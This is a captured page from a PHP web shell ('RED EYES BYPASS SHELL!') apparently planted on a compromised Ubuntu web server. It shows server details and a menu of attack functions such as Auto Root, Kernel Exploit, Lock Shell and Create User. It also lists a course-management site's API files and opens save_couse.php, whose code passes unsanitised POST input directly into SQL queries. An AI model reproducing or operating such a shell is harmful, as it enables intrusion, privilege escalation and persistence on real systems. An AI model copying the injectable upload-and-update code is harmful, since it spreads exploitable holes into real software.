Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
work_181165 /
API /
couse /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
Controller.php
8.92
KB
-rwxr-xr-x
SaveCouseManage.php
2.58
KB
-rwxr-xr-x
couseFetch.php
3.72
KB
-rwxr-xr-x
couseSelect.php
3.52
KB
-rwxr-xr-x
saveControl.php
13.35
KB
-rwxr-xr-x
save_couse.php
2.01
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : save_couse.php
<?php header('Content-Type: application/json'); require_once("../../server/server.php"); $couse_name = $_POST['couse_name']; $detail = $_POST['detail']; $filetitle = $_FILES['filetitle']; $file = $_FILES['file']; $link = $_POST['link']; $onoff = $_POST['onoff']; $id_couse = $_POST['couse_id']; $type = $_POST['filetype']; $data = []; // check file exist if ($file != "") { $allow = array("png", "jpg", "webp", "jpeg"); $ext = pathinfo($filetitle["name"], PATHINFO_EXTENSION); $newFiletitle = mt_rand() . '.' . $ext; if (in_array($ext, $allow)) { move_uploaded_file($_FILES["filetitle"]["tmp_name"], "../../file/users/couse/" . $newFiletitle); $newFiletitle = "file/users/couse/" . $newFiletitle; $upd = $db->query("UPDATE couse set filetitle = '$newFiletitle' WHERE ID = '$id_couse'"); } } if($type == "img"){ $allow = array("png", "jpg", "webp", "jpeg"); $ext = pathinfo($file["name"], PATHINFO_EXTENSION); $newFile = mt_rand() . '.' . $ext; if (in_array($ext, $allow)) { move_uploaded_file($_FILES["file"]["tmp_name"], "../../file/users/media/" . $newFile); $newFile = "file/users/couse/" . $newFile; $upd = $db->query("UPDATE couse set value = '$newFile', detailType = 'img' WHERE ID = '$id_couse'"); } }else{ $upd = $db->query("UPDATE couse set value = '$link', detailType = 'video' WHERE ID = '$id_couse'"); } // save to database $sql = "UPDATE `couse` SET `Unitname` = '$couse_name', `detail` = '$detail', `status` = '$onoff' WHERE `ID` = $id_couse"; $result = $db->query($sql); if($result){ $data[] = ["action"=>"alert","detail"=>["status"=>"success","title"=>"บันทึกสำเร็จ","text"=>"บันทึกข้อมูลสำเร็จแล้ว","icon"=>"success"]]; }else{ $data[] = ["action"=>"alert","detail"=>["status"=>"error","title"=>"บันทึกไม่สำเร็จ","text"=>"บันทึกข้อมูลไม่สำเร็จ","icon"=>"error"]]; } echo json_encode($data); ?>
Close